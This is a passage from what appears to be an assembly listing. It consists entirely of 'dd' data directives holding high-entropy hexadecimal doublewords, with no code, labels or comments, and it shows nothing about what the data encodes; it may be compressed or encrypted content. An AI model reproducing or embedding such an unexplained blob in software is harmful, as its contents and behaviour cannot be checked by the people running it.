8A5ACF07h, 3BE4835h dd 0E804B501h, 0E7DA33h, 97D688A1h, 3609E119h, 2AE2D00h dd 37FC87C3h, 0BEF41Ch, 4C03547Fh, 0B8907475h, 7B4FE900h dd 0DC707E12h, 561F3C49h, 761AEB80h, 42DF6AE7h, 7F95390Eh dd 63A5E3FEh, 69F2B8D4h, 8D47015Fh, 9A3FE21Ch, 8691C4FCh dd 0E5A4B100h, 53AB6CA3h, 0B2FF146Ah, 6800F309h, 0D6152AAEh dd 0A0E6D30Fh, 795353Eh, 0F43696D1h, 9F0BDB40h, 183C6022h dd 0C356D3A7h, 8E0B7F7Ah, 6A08FB6h, 0F0905ED8h, 9278E7h dd 57BB7A05h, 0D193BEEFh, 603DFA07h, 87A08547h, 18F73591h dd 0C8DE52E2h, 699858E6h, 5937BC78h, 11DC70AAh, 0F49300D1h dd 819216DDh, 86158CB6h, 80357Ch, 0DC4D6CC4h, 0B0FA46E2h dd 4157184Fh, 0DEDF70BFh, 0B7864C1Ch, 2CBA2D05h, 0BE5711C1h dd 1E7D37C8h, 0C0B22AB3h, 0D694EE9Dh, 6200B4D1h, 0C4268AD4h dd 7983151Ch, 0F5D500B0h, 0D342D20Ah, 19E658B7h, 0E7D9530Fh dd 25F3C72Fh, 6898D020h, 87ED0018h, 41528611h, 0FF24A010h dd 0E4004BFBh, 0BF89EE5h, 0DCE6001Bh, 284EBE75h, 0C13FC25Eh dd 9D33BBC0h, 8440382Eh, 0FF1D0F0Bh, 0F6AC07DFh, 87B32CB6h dd 18804B75h, 181716D8h, 6C10E003h, 0F84F9DD1h, 955F53h dd 0F7DEB897h, 8482FFD3h, 98A47C1Dh, 25DA305h, 0B137DAC0h dd 51170AE5h, 80A452E0h, 3F7E76DDh, 0DC006403h, 0E6EE9AC0h dd 41262Eh, 4E052077h, 0C310EA1Ch, 7FD34D00h, 2660F139h dd 4C880B9Ah, 0F380A002h, 0A77478F6h, 4034DFEh, 54AB2C11h dd 0E2C5CAA4h, 814F40ADh, 1FE93B5Fh, 4283DC80h, 0E8C64AD8h dd 0F0A10F00h, 500B996Ch, 80390027h, 0DC29C83Ch, 4600FF10h dd 66DEA8A9h, 7B31E40Dh, 715D003Ah, 7AF701D0h, 77079EA0h dd 0FF2140C8h, 53359CB0h, 0E9BD0069h, 0D5B95ABh, 2300133Ch dd 0B496EE46h, 0EFAF2Bh, 4D5FD597h, 0F53E9329h, 0D7F7DC00h dd 79AA46F4h, 409600ECh, 33B27F94h, 0D8046F87h, 434AF0FAh dd 99C34081h, 18B0E0F7h, 0F63D007Fh, 0F22B3A7Bh, 9E0117D4h dd 0AE3042F4h, 0A3CCBDA4h, 0FAC31246h, 957C4F39h, 7B3099E2h dd 5F9B49C0h, 745A3200h, 0F92412BDh, 7DC300C6h, 86396518h dd 0B072C181h, 8059413Ch, 0CC437331h, 33A557DEh, 6F20D47Ch dd 27A2D8A0h, 3250A80Eh, 0A45432Bh, 88CFE335h, 1F7F1A42h dd 7813B8h, 0DBCB5CD7h, 0C605B953h, 1087C22Ah, 560066C7h dd 0B40F10Bh, 0C08A6DDFh, 2CB35681h, 913D85Eh, 963AF279h dd 7CBA9E9Ah, 8EC0671Eh, 19F43B9h, 8AEE0785h, 0C19CF672h dd 0E862B7F8h, 96009B92h, 6899654Bh, 0F901ADh, 0D036CB1Ch dd 175333D8h, 7364303Eh, 4762EA2Eh, 758B480Bh, 8AE6C482h dd 0A71D7C60h, 9F66B900h, 74F4CD88h, 0E42D395Ch, 2127800h dd 717BB498h, 0CD0BD0EEh, 80C0E114h, 7FD1ABADh, 0EBEE003Ch dd 9A40910Dh, 5B01218Ah, 228FB3C4h, 1880E26Ch, 0E156FDCBh dd 0A900EBD3h, 0D90B8ADh, 0BD7674h, 0BFC09C34h, 8B71D2Dh dd 692445F6h, 95001489h, 0CAA3B4EDh, 669A014Eh, 923EB7D1h dd 7FC7705Dh, 4B75B300h, 0E814B961h, 2619EC46h, 0AC3A6Ah dd 0F5D48FF6h, 3C005C7Fh, 0EA098539h, 66B89Ch, 6F389B9Dh dd 8DBBBFD3h, 9EC4A11Dh, 1DCD4240h, 2CC7AD95h, 1D5C9A3Eh dd 0E5870046h, 1EEAD55Fh, 9B824200h, 869DF273h, 6D2E18C8h dd 0C4C9929Ch, 55E4D50Bh, 45EF027Dh, 16D6E0D1h, 0D0AB60A5h dd 8F15708Bh, 7C8CE124h, 42DEBF04h, 0E8749400h, 0EDEA8BDDh dd 14812213h, 90477007h, 0E17228F0h, 0A8920AE6h, 87980D57h dd 13204F50h, 0B1809AA6h, 87B04370h, 0AFCF7800h, 9939970Dh dd 0ECA3004Fh, 22FB42BCh, 14006064h, 5EA9EA1Eh, 7FCAE01h dd 0F37EFF40h, 87452076h, 0C6007F8Eh, 4751DBA6h, 65B16Fh dd 0F10A3F3Ah, 0FA702CAFh, 0C8122400h, 43CBF4Bh, 0A2940C81h dd 72105448h, 0B5E69900h, 0E32BC728h, 6F35007Ah, 0B6F2BDCBh dd 76007C1Bh, 0CF01A088h, 80B113h, 4827D246h, 6A7AAFC2h dd 1F228B00h, 63D192B4h, 0D8580098h, 0FBC83267h, 0EE00E7BFh dd 356EB7C9h, 707A949Eh, 5FE614h, 989A513Dh, 0C4A66349h dd 0A3507E12h, 24552020h, 0EF0600DEh, 8F52AF28h, 4D79B913h dd 56001890h, 0FF31BB26h, 366FF3h, 56E3BC8h, 0EA0A48BCh dd 0BB591B00h, 0FA126D7Ch, 76130E3Ah, 80DF90DBh, 0E0A6B2D0h dd 92394CEBh, 0C9EF80E8h, 8E73CD3Dh, 0D6C3C62h, 0DF2AA500h dd 7A30C224h, 945FE912h, 0E581C000h, 0C13BDDA7h, 0CE288912h dd 2CB0F4ABh, 9015A309h, 384893Fh, 0C0116DC2h, 7ABCFh dd 0A14AE4CBh, 0ED5AB722h, 28C03E71h, 58305C21h, 369F2A0h dd 0EE33F7ABh, 49000DE1h, 0FC71B803h, 989AFF9Dh, 86693B62h dd 5D185A07h, 0BE070250h, 65FE5840h, 0D6D27D12h, 803D5449h dd 774CDB58h, 0A1C800AAh, 3558F664h, 0B20093B3h, 0B7FAF40h dd 59B1F3h, 2B9499EFh, 75625512h, 9F46521Ch, 0AFABC744h dd 0A03575C3h, 0FEACA4Fh, 0C0A289A8h, 641888C0h, 2105B1F5h dd 0E0BC0E0Bh, 55FB0480h, 9AC1A004h, 1C9E3D2Ch, 16DA4680h dd 4DEB4097h, 8D913800h, 0BD83D91Fh, 94C00077h, 0EE810631h dd 0E4002004h, 89073EAAh, 240B64h, 43F39732h, 90C34CD3h dd 0E3F5551Ch, 0AC023040h, 870D08h, 6019C27h, 339AFD64h dd 0FEB9B600h, 4EC09FB1h, 45660002h, 0EF448878h, 0F00DA04h dd 0C91F7FACh, 0A92C32h, 35626A29h, 0E6F0B3B9h, 2FC8BA07h dd 0FB0530Bh, 48D6EA2Bh, 0A200DB4Eh, 76040652h, 0C000334Ch dd 233E9931h, 0E47528h, 0F5C2A4B8h, 0F702FE6Eh, 0EFB4920Eh dd 76E22042h, 383FB8DCh, 0F008C5Ch, 99DAC08Fh, 58BD6EC7h dd 1EBC097Eh, 0F80930CCh dd 0FDB62600h, 0E70077DEh, 52234AB4h, 7A39604h, 0BF0FD2FFh dd 73C2307Ch, 0E00034E2h, 78C680ECh, 0D7F681h, 88B0F8E8h dd 0A26F8FCEh, 5FC07200h, 8EB58A7h, 9DD303ADh, 956E6077h dd 0E7704098h, 28F57C00h, 27B0593Bh, 439000A9h, 23195F3Eh dd 0D07D04E4h, 29655A01h, 6EA6D11Ah, 0A6605DF1h, 0DA7D191Bh dd 1A41070h, 2180B4B8h, 4D52CCF4h, 9D007F11h, 0C483468Dh dd 710932h, 0CB8B2A3Bh, 1CA4FB08h, 92BBD70Ch, 0F884386Fh dd 3086F0A2h, 0DC822ABh, 16007B2Fh, 99261487h, 3FD64027h dd 0DB83D99Ah, 0B13EEFA6h, 8FF34100h, 305D53CBh, 0F07E41ADh dd 0A43C0F08h, 50CA0026h, 6814E89h, 79DD00DBh, 0FAAF16A2h dd 7B00AD11h, 0BFD009F1h, 1FA7DA70h, 0C27FFB45h, 0B0CC857Eh dd 97A53660h, 51F04C07h, 2EE1FA20h, 0FC882D6h, 0D721000Ch dd 33AD76F7h, 7DF0DAD5h, 54AAC51Ch, 80E6574Bh, 639D9F6h dd 4EBF07CCh, 40B9D6C9h, 0ECB29116h, 0CFBC3A03h, 98815D50h dd 1E3ABADh, 0F886E04Bh, 0E4783E20h, 980123FAh, 0B3DFB9D8h dd 7A604315h, 0D31905C4h, 90169Bh, 3102E284h, 4C00EFE4h dd 0AE0DBF1Ah, 0AB92DCDh, 0CFFD86B4h, 3738038Ch, 70E07AEAh dd 850723E2h, 0E3CE9A54h, 52727FF1h, 0E3999E8h, 0D72B818Eh dd 0C81CA8F4h, 0B8FC567Dh, 44980472h, 0EF83CC35h, 1BE8C0FAh dd 14EE1870h, 0A04D3176h, 621F3Bh, 9B42FAA4h, 9A5EAC4h dd 982E54EFh, 63D1801h, 5A308071h, 25AFA22Ch, 0D7B018AAh dd 5C3DD095h, 0F9CE08C0h, 0ED0A8Ah, 9C7B2AA8h, 1CFD36E1h dd 0CCDA0D05h, 0EA00D684h, 95E44A28h, 2FDC00E9h, 0A8EFEC45h dd 260710CDh, 0DF2133FBh, 28A1AAC0h, 0FD10F5Bh, 8E024FDAh dd 0D960BDACh, 6D181E06h, 0E14EB6B0h, 54F00C57h, 5E10B3ABh dd 0ED2A5C15h, 9F9A0DA4h, 4847A05Dh, 8E6C81E0h, 0E85E835h dd 0E3D5314h, 0E6781200h, 6C9255DBh, 2ECC6F0Fh, 44CF203Fh dd 1D7C094Fh, 0D6E002h, 0AF9077B8h, 3D0CE6A0h, 18E33269h dd 0F4CA186Dh, 50B9F8E0h, 0F7F2CF07h, 0D680D9BCh, 7FAF09Eh dd 0ACBA7B0Fh, 251C6024h, 0AA187C90h, 418DB97h, 16270063h dd 0DF4D775Fh, 0CD03625Ah, 91E3148Eh, 7B7FB889h, 66C00A8h dd 8FE1D87Dh, 6E00735Eh, 0C4D60F6Fh, 1FFE6B2h, 54DEACC5h dd 81DDBA2Ch, 74AE9180h, 0FEF0AF50h, 0C0A37B5Ch, 7010E999h dd 46071152h, 0E477E30Eh, 0BA97D590h, 5B8B06F6h, 0A0DE1CD4h dd 7D3F5A01h, 7CDB6CA9h, 69388080h, 0F93E944h, 0A87A751Eh dd 0D6F76680h, 0C3C730CFh, 0F059D888h, 0ADE5CDF8h, 5A376C05h dd 94010C7Eh, 0A14F9791h, 30F0ACF0h, 3E58AE19h, 48503953h dd 6208D548h, 0AF78BA0h, 3C8BCDCh, 0AE3908BAh, 59D67406h dd 23E8D7FAh, 3962522Ch, 0CD4C1C48h, 5A6207C9h, 5BF05D86h dd 0C0C82AE4h, 0D87692F8h, 0B678BDE7h, 0F8D93328h, 0B9A54E00h dd 4B3BC060h, 0D57700BBh, 0D2CAB371h, 5E984668h, 4F8E501h dd 0B274F25Ah, 3120F8h, 0D2C72B95h, 34B889FEh, 0AF5F9101h dd 0E82A7240h, 0FF7B5F8h, 6B9E8C7Ah, 0BAC2C542h, 206E74E0h dd 0AC47BE39h, 79007F5Dh, 0BF6D5C0Eh, 0FDC300ECh, 0A6A47778h dd 0CB1FD469h, 994EF013h, 3F4723A9h, 3C65C89Bh, 0FDED00B0h dd 0DF857D38h, 0DD7C0489h, 5C3C0C98h, 0FA0572E2h, 164B46AEh dd 0B20943C0h, 246C135Dh, 0BA7D07C5h, 9C04101Dh, 0D7F0219Bh dd 0D93F2A00h, 37C3D6B9h, 6DC80F3Eh, 0D8C03068h, 871B825Bh dd 71DA0500h, 80BE34C3h, 2DD60783h, 0F0624DFCh, 0A593F548h dd 51791807h, 5ED052FBh, 12129820h, 0F67E38Ch, 0A0E0158Ah dd 5256F5C6h, 0E9371D00h, 7DE4459Fh, 53E204C1h, 90B90834h dd 1C2234Ch, 9297AB03h, 0D88CD52Ch, 90F870h, 0D0FC15CBh dd 5157B966h, 801DCF0Ch, 0DB39D5h, 687D0BC2h, 0FE257824h dd 0EA75C900h, 504C19AEh, 0C606013Ah, 222A6A8Fh, 2B84511Bh dd 295B308Eh, 0E2986100h, 0B81A1D39h, 89AA00B7h, 15BA34A0h dd 850314BBh, 42BFCA92h, 8C2CE831h, 578716Bh, 0F5AF4EEBh dd 8FA9C1BDh, 4812D436h, 232E61C6h, 17FF0BE6h, 8E002494h dd 28EA5EEFh, 88422500h, 0E899B787h, 0C8266666h, 94005889h dd 7C995A4h, 0F506D25h, 0C597F35Ch, 0D0607FCFh, 0FE9F9BC1h dd 671FDE01h, 0A959C426h, 11E032E9h, 347E0301h, 57F16E6Ah dd 96F3D8F0h, 4DEE4801h, 0EFDE9B81h, 2413E3E4h, 0B20CD0h dd 3CB595B7h, 9000DC34h, 4D8335A3h, 81DDA1h, 2F720AF7h dd 7997E115h, 5453660Fh, 14B84345h, 3C08C0DFh, 5A0900C4h dd 0EE436F5Bh, 82014BF0h, 7363D222h, 0E5E42CEFh, 903F0B48h dd 0E741BC5h, 7702A300h, 985F34h, 3E9B3047h, 5632089Eh dd 50448h, 0A3468FC0h, 0F0212Dh, 1A5A280h, 0FA6FF12Eh dd 91D66200h, 0B87ECB82h, 289EA7Fh, 66DBFDF3h, 0CCE07CBCh dd 0F80C5950h, 0B010DE74h, 514B06E2h, 4128E0FDh, 0DCE886C0h dd 0AD97BEh, 7948A03Ch, 0F83B53B4h, 0CF85E100h, 10FA91D0h dd 783A008Dh, 35D57EDBh, 6D770A49h, 588E8A07h, 7B00EE47h dd 0B76ED4h, 9EA8E7EDh, 0FB4E07CFh, 0D0632007h, 2560E43Fh dd 0A0427E16h, 7097A95h, 0BA75582Ah, 5B3C80D7h, 0A24C65A7h dd 0D3387CEDh, 0CCED84A0h, 20C07A9Ch, 904DE68h, 0E4AC8A85h dd 507C9E00h, 672C70FCh, 62009399h, 0E8A05ED7h, 0DD77D2h dd 68B5F44Ah, 82BA2359h, 83300F06h, 1847E3h, 99F5387Dh dd 76C1DDEBh, 7A533Dh, 5BBD7C0Dh, 7888634Dh, 0F3360079h dd 324211C8h, 7A54E145h, 0DF071AD0h, 3B8C92A1h, 8770B5C0h dd 502B48AFh, 0D9144904h, 961481BDh, 8F21C068h, 0B3D1A70Ah dd 788FC0BEh, 7FA460FBh, 123F2DDh, 151136F4h, 0FD8A808Dh dd 2F8C8C7h, 8097B13Dh, 330E3A7Dh, 0CB84F1h, 3EFE5011h dd 6BD22F5Bh, 0C0ADC0E1h, 0DD6F4D03h, 98928D8Eh, 4C37DB48h dd 7341C7h, 854697B0h, 1FCAA3C2h, 7F288E00h, 621E693h dd 2398122Bh, 0F4813A8h, 96EBD172h, 3A63B200h, 0C749537Dh dd 73D6007Ch, 0DB590AFDh, 0E86490EFh, 6CC8007Ah, 322A9D9Fh dd 5F0DEEC0h, 20013B71h, 294F072Ah, 0C284F0C6h, 0CD03D1D4h dd 35C1EE41h, 13B7F069h, 2BE30096h, 0B9FDC8A0h, 0FB00D62Ch dd 0B24DF3D1h, 0E7D38A8Bh, 0E98651BBh, 90EBD2B4h, 0CB4E1012h dd 3ED1DF03h, 0F03AF83Bh, 20BC07FFh, 0F02F961Eh, 7192CA64h dd 0FB9DC800h, 0BB32C444h, 6C280083h, 52A193F0h, 4C07D774h dd 0B0BA7141h, 1A1EE0B0h, 28313AD3h, 9FE5BD87h, 0F99EE022h dd 2000383Ah, 2AE106C9h, 94C4C7h, 0FA07F518h, 0AEB6E26Eh dd 0D821381Dh, 91E85098h, 8FB0009Ah, 0F2B13329h, 0F400B66Ah dd 0A9D7A41Eh, 1743A7h, 2002ECE9h, 5F301648h, 86752E00h dd 0E562F0Bh, 0B8170310h, 6EA198E0h, 0DDEA5BA0h, 76ED1D00h dd 10B4037Ch, 0A0C300F1h, 72E36CFBh, 2E03177Bh, 1CE45F8Ch dd 0C3E1D0CFh, 2F380054h, 9B88C993h, 0EC795A3Dh, 2100B379h dd 0AB41E475h, 0E8A614h, 672B9404h, 0C9A28BCDh, 0BDCA48h dd 0C7410591h, 3ADFF66h, 1597730h, 32B84E0Ah, 2D4CA22Fh dd 0C3D9004Ah, 18203927h, 0E09A03E3h, 79354351h, 0C4FC2381h dd 4B009B12h, 0C37C86DFh, 77B193C6h, 612F0028h, 0D0B31CE8h dd 263B7178h, 1644DCAh, 0FC01AB95h, 5102F0Ah, 0BD008C1Bh dd 9D97E75Fh, 0D8A790h, 89A22DA6h, 326F6056h, 0EBFD5D00h dd 959C10Eh, 17420075h dd 8F1618A2h, 4CE47DD0h, 0AF5E3B03h, 0A8C08D2Ch, 0A3F184h dd 6BD14698h, 37C8D63Dh, 3F85733Ah, 8B210FFBh, 66A7805Dh dd 0B02D0660h, 75053A13h, 51ED850Ch, 1460DC20h, 7B026E10h dd 74DA3C61h, 2A52E000h, 0D61781F3h, 72E68B00h, 51603A01h dd 0E120C25h, 2D612656h, 0DFB2D800h, 0E85F5837h, 0FE123601h dd 0CB142140h, 4C8F402Ch, 85A86F0Dh, 0E80FB06h, 0E7CC5Ch dd 0E94DC8C3h, 0CF586349h, 0D02CA03Ch, 4201B587h, 0D0FF5D6Eh dd 5C0F027h, 6FBD0EEAh, 0CD8021A8h, 0E9F235F3h, 2D51D900h dd 8B70178Ch, 252630B0h, 20123681h, 6A50C3Ah, 7AAD1341h dd 21196008h, 1D200A67h, 83009F74h, 0F354DCBDh, 7FD00Fh dd 85C478B5h, 44B0A3B2h, 0E031BF03h, 0B7153F66h, 36643330h dd 0FDDA102Eh, 167910E6h, 3580510h, 9AC24147h, 2511002Fh dd 1D15F0A1h, 0ACF253C5h, 0D908BB66h, 90687521h, 0D13000EEh dd 0E963101Eh, 0BD00DD14h, 5B96CFF2h, 0F753C9h, 9B33792Bh dd 8537A85Ch, 6D779A03h, 3B82A76Fh, 831F0819h, 8D3C3CA3h dd 966AC900h, 0CC9DCFC4h, 87570B03h, 0BF23C76Ch, 70E530CDh dd 99566D00h, 377B641Ch, 0FE204FC0h, 0F5D618h, 33C894E8h dd 0A1BE3F05h, 589FA000h, 61EBBFF0h, 0AF75002Ah, 0B7171E71h dd 9001AA4h, 0EEDDA73h, 1936046h, 29763A7Fh, 887204FDh dd 88A57328h, 0F790DB5Bh, 51F80486h, 0D911CF42h, 800B11D5h dd 29FDB118h, 7809AABh, 36BE0026h, 24D7EA61h, 89055CAFh dd 0F7E68659h, 0A5B98305h, 0BCCC8580h, 0D5FA1F82h, 384D40D8h dd 0FA23A84h, 0F2C2F800h, 0C3C8487Dh, 0C5690299h, 3D202A10h dd 53005A58h, 5AFAEB70h, 0FE8BCBE9h, 0DE4D12EFh, 816B0024h dd 0F66BE682h, 5BFE7500h, 3A1DBB76h, 638C0096h, 2A3E660Bh dd 24000106h, 7801FAEh, 3FF3EC28h, 11800477h, 27573CB7h dd 0B53E5B55h, 6C7F8061h, 592ED512h, 150B0AD2h, 93C073h dd 0CF386B93h, 2B13C577h, 0B20F92FCh, 17FB2029h, 394F78D4h dd 0FA80E6A7h, 0D2F7E159h, 1D03222Ah, 7AB044C3h, 0B211E01Ah dd 0EF3A0B5Bh, 0CF803E27h, 5DFA2C9Eh, 83B5961Ch, 3F2E1107h dd 0F24E1FD3h, 0E034613Dh, 69ADC4h, 0BF9BAA66h, 0C7A2E550h dd 0EB93200h, 61B24BECh, 0BCBE0142h, 3F413806h, 0B1E8D7F9h dd 0E1585BD5h, 81C907A1h, 0D505CE5h, 0E4075Eh, 9D6AB98h dd 1953D308h, 0C205FC75h, 5987DB4Ch, 0AA859080h, 0EE2C30DEh dd 0C98D2361h, 0C3A51200h, 4815F73Bh, 335000D9h, 0CE89BF70h dd 0C6382A0Dh, 0E19600EBh, 23783FBh, 7B400032h, 4F7F15F9h dd 980012E5h, 0E0626982h, 65B6D7h, 57258E63h, 0ACC9FA5Ah dd 52AB4301h, 6B72D0B8h, 0FCF030D0h, 60B051h, 4EF2D426h dd 8FBE769Ah, 0C10059E6h, 0BBD7C3D3h, 2612F1h, 6DECA61Eh dd 0C941746Ch, 4BD89500h, 0BB5EDFC6h, 3F6400FDh, 0B5809389h dd 0D4280288h, 2800CF52h, 92EBD039h, 3DB23D3h, 48BA95A3h dd 17A09CB9h, 65004555h, 23E7AE15h, 0DF5069h, 0E6E5E929h dd 5C2B5BABh, 65482514h, 0C33D98h, 940DF232h, 61A0BCh dd 0B215ED03h, 2B405C5Fh, 0C4F84E00h, 0F61F45B5h, 0BAE4005Eh dd 0D1D2B17Bh, 3C01860Eh, 0ABD63683h, 80803524h, 0AE10C467h dd 0B8001F84h, 0E47CC215h, 24E86Ch, 4D69BA4Ah, 6311C80Fh dd 0C98E3300h, 0D35903D7h, 60A198F2h, 546029B1h, 0F012CA05h dd 1C20C043h, 8E6D82h, 0C1158CD2h, 789B76C8h, 454AE00h dd 0B23DC72Ch, 2C90C3h, 88D2890Fh, 0D10B11CAh, 0B37B101Fh dd 0DB2DF4C6h, 1D5A02A2h, 0E962DEA9h, 87892049h, 0B88C3191h dd 0CA9D0160h, 7ED90067h, 70D0F74Fh, 900CAB0Dh, 190A82F4h dd 877124h, 0DE8B654Ah, 0ACC74027h, 7BDB1800h, 6B10707Ah dd 4FE500BBh, 85F2CF72h, 157A5E58h, 0A97B9C00h, 59C81CD3h dd 4F9B5C94h, 793EFF03h, 0B8888423h, 410E3178h, 0A0A69854h dd 66C0354Dh, 0C67A93h, 8F9B3B33h, 20ABE05Fh, 87C41F39h dd 9C50C040h, 0B5F1E8A0h, 98BA0334h, 6BFC2EDEh, 6E88399Bh dd 0C0066B8h, 5881205Ah, 19B071h, 0AC2412B4h, 693AFB17h dd 0ADD5F10Fh, 500BDDFh, 18CFD90Bh, 826800C8h, 80E8C0B0h dd 0F3EAD38Ah, 0B10012E2h, 0EC6A16BAh, 3373A1h, 0A28C4A72h dd 431DD8C4h, 0AC5E5700h, 38FBA7C2h, 6C2A0065h, 0F1DBFF77h dd 2E006F83h, 0B3261891h, 0BCAB29h, 0BEDDB803h, 83C49B98h dd 0B48C2500h, 0F429922Bh, 4B5A007Dh, 0DBBBCAA5h, 6339F161h dd 3AA18037h, 180D11E4h, 0F050039Eh, 3329C8E7h, 0F34E8488h dd 5FAF971Dh, 43F46B40h, 4A618h, 0FD4A63D3h, 51B9F60Ch dd 0E509200h, 263270B8h, 6BC11E02h, 0D19DFE74h, 0D45FC7FFh dd 0EE29E07Ah, 0C600039Bh, 0EF9E646Ah, 7036F6h, 8EFCA48Fh dd 1242848Dh, 3DE66514h, 0B05A00ECh, 0C40ECDF0h, 343F00F8h dd 0E65666D2h, 243F41F3h, 65A5807Ah, 1569D0A8h, 0E7500E6Ah dd 0ED856DFAh, 4895C644h, 71DB4700h, 2AECB5BBh, 0CF243EEBh dd 91C600F3h, 2633C58Dh, 2D1CA6AAh, 0A740079Ah, 6C2889B3h dd 126F003Ch, 2F91BB32h, 0FC00C6FEh, 0D97CD4DFh, 7704B35h dd 0D1B38C46h, 388F51C8h, 82DAF499h, 692080E5h, 8494E4CBh dd 9D332485h, 16A930C7h, 3A600D7Bh, 0B7D214A0h, 0E02B0285h dd 0A654C7C3h, 7155A2C0h, 6F265800h, 0CAB605Dh, 0FD0F3D19h dd 308EB000h, 5B19B3Eh, 0D674A900h, 184A6268h, 2BB01ECh dd 0CA2A6FA7h, 0C340E28Fh, 0B3024E92h, 0B7BFE709h, 7AE64061h dd 6FFA3Ch, 22502871h, 84166359h, 0BA68F600h, 47387397h dd 6BB001Fh, 0C94522A7h, 7D2C19E8h, 5F006EA8h, 2479A450h dd 66EE003Ch, 7B082588h, 0FF393599h, 0FA54002Ch, 0B00292DAh dd 0F8796F84h, 0A9873EC0h, 0F7737F5Dh, 6FBB7300h, 4ADF4D93h dd 12AD09D4h, 0F5C5CBh, 0F6F7F97Eh, 12D2F2B0h, 1A521FAh dd 91DFDB9Ch, 9030F8B8h, 4A945D00h, 29CEE2CCh, 7E3904E5h dd 0C062FBD4h, 0F9428628h, 55725A18h, 0AC7F10h, 0FD22D66h dd 54F02802h, 7BF6A0C0h, 0FE3C349h, 3475F4Bh, 2010D2C7h dd 6D4FF919h, 2D04CA00h, 55499A93h, 1B8B8C2h, 7AF0BE5Fh dd 0F43F8738h, 0EF07F1AFh, 0F5721643h, 1C8127F5h, 56C4D16Eh dd 0EDD73A80h, 3F04D38h, 16C0F8CFh, 100FBA6Fh, 63EE5F43h dd 0B08DFCDBh, 793FFDEDh, 0D9F40065h, 0A9C482FFh, 0DA74F71Ah dd 0E339B006h, 487CDBC7h, 0E025CFDh, 0C092C58Fh, 0BC8CDD60h dd 5949F50Fh, 9C09C1Bh, 0A8FC3DD2h, 904E00B5h, 70153198h dd 517195AAh, 40FDE5EAh, 0AE6450B0h, 0EFA6B413h, 0EB4010h dd 139DD949h, 0E886D8h, 9E1D759Fh, 37989BC9h, 49309C00h dd 0C04C2E9Ah, 0DFD507EEh, 0F647F58h, 3AC7F420h, 40012582h dd 1D92AFE0h, 22DC59E8h, 767E878h, 0DD998D4Ah, 0BEBC60ECh dd 7F5C57C9h, 0A50B07CBh, 8970B1h, 61FE6FD4h, 0D81F00F4h dd 0E84D487Eh, 6B04F587h, 0BFCE45AEh, 16C0F8C7h, 0F862F64h dd 30ABFB1Ch, 403E3907h, 0B17440B3h, 808F6A38h, 50987D24h dd 1CB5732Eh, 1854ED5Dh, 5731283Dh, 2000D2B0h, 0B2DD985Ah dd 52C1AEh, 0E34A4E6Bh, 766CC3B3h, 3B131502h, 0DF9C73F0h dd 80F81C43h, 31003D83h, 178F9426h, 1ED6AE37h, 49E9666Bh dd 0FC00089Dh, 32F4D2F7h, 9537C900h, 38965D5Ch, 63FE3B28h dd 801FF300h, 0A3C18B3Eh, 4E008DE6h, 34B12330h, 14D56087h dd 0D8A40A2Ch, 3779A38h dd 70E6CC05h, 30EAA2ABh, 0CEB66060h, 320F3575h, 0E0E77161h dd 5308CAC9h, 2FA93012h, 1579A5E0h, 0F4886D09h, 4850A7D2h dd 7F8CA270h, 98C8C32Fh, 0F5D04B8Bh, 3C777675h, 3A73DA10h dd 0CDCD28h, 0D625FD5Dh, 221C2B29h, 0A4A057F0h, 0FB007E8Bh dd 7866C7C6h, 3F121F24h, 0F08E03DAh, 0EF00C5FDh, 880DCBA8h dd 0C2B6C07h, 0C300CD1Eh, 609FD276h, 8C57901Ch, 0DD000598h dd 70973C26h, 0B8E6ADB7h, 776A079Ch, 0F0CE568Fh, 299FFA16h dd 23547001h, 0C6E112B8h, 0F7DA8C0h, 8C39696Ah, 0E9AC6B43h dd 0F1B31BC8h, 0FF0C7214h, 0A5009DA0h, 0E7AFDC4Dh, 0D9D0C33Eh dd 48B27D3Fh, 97727340h, 0CD383C7Bh, 2060099h, 0CC3A5723h dd 12BC0015h, 437FC3D0h, 8AC022D9h, 8C3BF339h, 0F7933C6Ch dd 0F4F9BAh, 1FD0AC9h, 55ED6D36h, 5DCB3400h, 5427531Eh dd 26370315h, 964ED307h, 110FFCE0h, 0F51B58h, 0E97B2DB1h dd 0E41CA348h, 59443CB9h, 91DEE380h, 0B02BF16Bh, 0A00198E8h dd 9572A29Dh, 0E280CCDBh, 0AC21C396h, 0F000D9CDh, 3D8D852Ah dd 1207CFF3h, 536CDDh, 0D4706728h, 0C10757B2h, 0F4D73AC0h dd 3C50900Ah, 0CE1F0042h, 63898825h, 33EEB1C6h, 403060B0h dd 0C2EE620Eh, 0E5E671h, 3E141EDBh, 0C57504F9h, 1C0010FCh dd 5EB0FEBDh, 408A30h, 0BAF841DFh, 0D6081BC3h, 38C06C30h dd 16D1BE25h, 518134h, 389F5E84h, 0B70959C7h, 7C8AE9DBh dd 0A5F8001Dh, 2699A1D2h, 8BE12200h, 0FA72B254h, 0AB0D3ED5h dd 0EB37040Bh, 38F33900h, 0E0013632h, 11814418h, 7434462Fh dd 359F07A2h, 120FA684h, 644101D4h, 0F53BC855h, 374BC58h dd 0ACA17009h, 59110F3Fh, 69E0CC64h, 3D6AC777h, 89EE0F16h dd 5A706400h, 1737805Bh, 0EBC108B3h, 0D5109h, 0FEE19803h dd 0E03B5897h, 22B231Fh, 4D050B0Fh, 0C019AB41h, 6F00BE90h dd 956DC7B5h, 7E4EA42h, 0F0A07A1Fh, 861D04CBh, 90E310Fh dd 6025CC77h, 0FF61E1B1h, 4CD70F45h, 9B00CEFCh, 528FEFEBh dd 80F84A00h, 0D2B0E42Ah, 91410E24h, 9BC0F6D6h, 0EEABDAECh dd 2EA44E00h, 6434E0F7h, 0C37330h, 48170F03h, 0CB75CFEDh dd 209C03Ch, 96994F5Bh, 663AE0E5h, 0B0CD7FC3h, 54AF00ECh dd 1582336Dh, 2017CFE4h, 1C0568CBh, 30C0C965h, 3E2B3B11h dd 0F5CAA60h, 0C1005C49h, 0E9BB7B8h, 463F7BDBh, 0A03E80FEh dd 601C8A5Ch, 37CF00EFh, 0EE6C8DBDh, 0FB50EA28h, 0C757FC4h dd 0FA00E677h, 98BDBE2Eh, 0B851D71Bh, 332B00C8h, 42DDF815h dd 0CFA03CF3h, 5C0FF157h, 819F8075h, 0A3F80D73h, 0B3031C8h dd 878ECD4Dh, 69931C80h, 3B00DC8Fh, 9FBEBF2Eh, 0ACA514h dd 9A6054C0h, 0A240E74Dh, 962FAE00h, 0A64AF99Ch, 0A10C399Fh dd 5220F600h, 0B5B3856Dh, 6BDBEF00h, 93E6CC9h, 8AB960F4h dd 3754D19Eh, 12E2D400h, 7855D815h, 13FD0033h, 1DF92E6Ch dd 0A703839Dh, 0BC237A9Eh, 0B10CD82Ah, 0BC3D48FCh, 0CB1F7238h dd 